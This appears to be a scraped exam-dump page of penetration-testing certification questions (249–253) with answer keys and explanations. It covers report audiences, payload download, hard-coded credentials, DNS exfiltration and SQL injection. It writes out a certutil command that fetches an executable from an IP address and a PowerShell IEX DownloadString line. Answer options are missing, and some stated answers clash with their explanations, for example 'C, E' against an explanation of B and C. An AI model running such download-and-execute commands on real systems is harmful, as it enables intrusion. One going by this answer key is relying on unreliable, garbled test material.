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| Section | Weight | Objectives |
|---|---|---|
| Topic 1: Reporting and Communication | 27% | - Deliverables and follow-up
|
| Topic 2: Vulnerability Discovery and Analysis | 17% | - Vulnerability scanning
|
| Topic 3: Exploitation and Post-Exploitation | 25% | - Post-exploitation activities
|
| Topic 4: Reconnaissance and Enumeration | 18% | - Information gathering techniques
|
| Topic 5: Engagement Management | 13% | - Pre-engagement activities
|
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質問 # 249
A penetration tester wrote the following comment in the final report: "Eighty-five percent of the systems tested were found to be prone to unauthorized access from the internet." Which of the following audiences was this message intended?
正解：D
解説：
The comment in the final report was intended for C-suite executives, which are senior-level managers or leaders in an organization, such as the chief executive officer (CEO), chief financial officer (CFO), or chief information officer (CIO). C-suite executives are typically interested in high-level summaries or overviews of the penetration test results, such as the percentage of systems affected by a certain vulnerability or risk, the potential impact or cost of a breach, or the recommended actions or priorities for remediation. C-suite executives may not have the technical background or expertise to understand detailed or technical information about the penetration test, such as specific vulnerabilities, exploits, tools, or techniques. The comment in the final report provides a high-level summary of the penetration test result that is relevant and understandable for C-suite executives. The other audiences are not likely to be interested in this comment.
Systems administrators are technical staff who are responsible for installing, configuring, maintaining, and securing systems and networks. They would be more interested in detailed or technical information about the penetration test, such as specific vulnerabilities, exploits, tools, or techniques. Data privacy ombudsman is a person who acts as an independent mediator between individuals and organizations regarding data privacy issues or complaints. They would be more interested in information about how the penetration test complied with data privacy laws and regulations, such as GDPR or CCPA. Regulatory officials are authorities who enforce compliance with laws and regulations related to a specific industry or sector, such as finance, health care, or energy. They would be more interested in information about how the penetration test complied with industry-specific standards and frameworks, such as PCI-DSS, HIPAA, or NERC-CIP.
質問 # 250
A penetration tester gains initial access to an endpoint and needs to execute a payload to obtain additional access. Which of the following commands should the penetration tester use?
正解：B
解説：
To execute a payload and gain additional access, the penetration tester should use certutil.exe. Here's why:
* Using certutil.exe:
* Purpose: certutil.exe is a built-in Windows utility that can be used to download files from a remote server, making it useful for fetching and executing payloads.
* Command: certutil.exe -f https://192.168.0.1/foo.exe bad.exe downloads the file foo.exe from the specified URL and saves it as bad.exe.
* Comparison with Other Commands:
* powershell.exe impo C:\tools\foo.ps1 (A): Incorrect syntax and not as direct as using certutil for downloading files.
* powershell.exe
-noni -encode IEX.Downloadstring("http://172.16.0.1/") (C): Incorrect syntax for downloading and executing a script.
* rundll32.exe c:\path\foo.dll,functName (D): Used for executing DLLs, not suitable for downloading a payload.
Using certutil.exe to download and execute a payload is a common and effective method.
質問 # 251
In a file stored in an unprotected source code repository, a penetration tester discovers the following line of code:
sshpass -p donotchange ssh admin@192.168.6.14
Which of the following should the tester attempt to do next to take advantage of this information? (Select two).
正解：C、E
解説：
When a penetration tester discovers hard-coded credentials in a file within an unprotected source code repository, the next steps should focus on documentation and further investigation to identify additional security issues.
* Taking a Screen Capture (Option B):
* Documentation: It is essential to document the finding for the final report. A screen capture provides concrete evidence of the discovered hard-coded credentials.
* Audit Trail: This ensures that there is a record of the vulnerability and can be used to communicate the issue to stakeholders, such as the development team or the client.
* Investigating for Other Embedded Passwords (Option C):
* Thorough Search: Finding one hard-coded password suggests there might be others. A thorough investigation can reveal additional credentials, which could further compromise the security of the system.
* Automation Tools: Tools like truffleHog, git-secrets, and grep can be used to scan the repository for other instances of hard-coded secrets.
Pentest References:
* Initial Discovery: Discovering hard-coded credentials often occurs during source code review or automated scanning of repositories.
* Documentation: Keeping detailed records of all findings is a critical part of the penetration testing process. This ensures that all discovered vulnerabilities are reported accurately and comprehensively.
* Further Investigation: After finding a hard-coded credential, it is best practice to look for other security issues within the same repository. This might include other credentials, API keys, or sensitive information.
Steps to Perform:
* Take a Screen Capture:
* Use a screenshot tool to capture the evidence of the hard-coded credentials. Ensure the capture includes the context, such as the file path and relevant code lines.
* Investigate Further:
* Use tools and manual inspection to search for other embedded passwords.
* Commands such as grep can be helpful:
grep -r 'password' /path/to/repository
* Tools like truffleHog can search for high entropy strings indicative of secrets:
trufflehog --regex --entropy=True /path/to/repository
By documenting the finding and investigating further, the penetration tester ensures a comprehensive assessment of the repository, identifying and mitigating potential security risks effectively.
質問 # 252
Which of the following protocols would a penetration tester most likely utilize to exfiltrate data covertly and evade detection?
正解：A
解説：
DNS (Domain Name System) is often used for data exfiltration because it is a fundamental protocol that is usually allowed through firewalls and not scrutinized as heavily as others. By embedding data into DNS queries and responses, attackers can stealthily transmit information without raising immediate suspicion.
質問 # 253
A penetration tester wants to perform a SQL injection test. Which of the following characters should the tester use to start the SQL injection attempt?
正解：C
解説：
The single quote mark (') is a common character used to test for SQL injection vulnerabilities.
This character is often used to terminate a string in SQL queries. By injecting a single quote mark into an input field, a penetration tester can determine whether the application is susceptible to SQL injection based on the resulting error messages or behavior of the application.
The single quote mark is typically used first because it is straightforward and effective in revealing SQL injection flaws. Other characters like double quotes or semicolons might also be useful in specific contexts, but the single quote is the standard starting point for SQL injection testing.
質問 # 254
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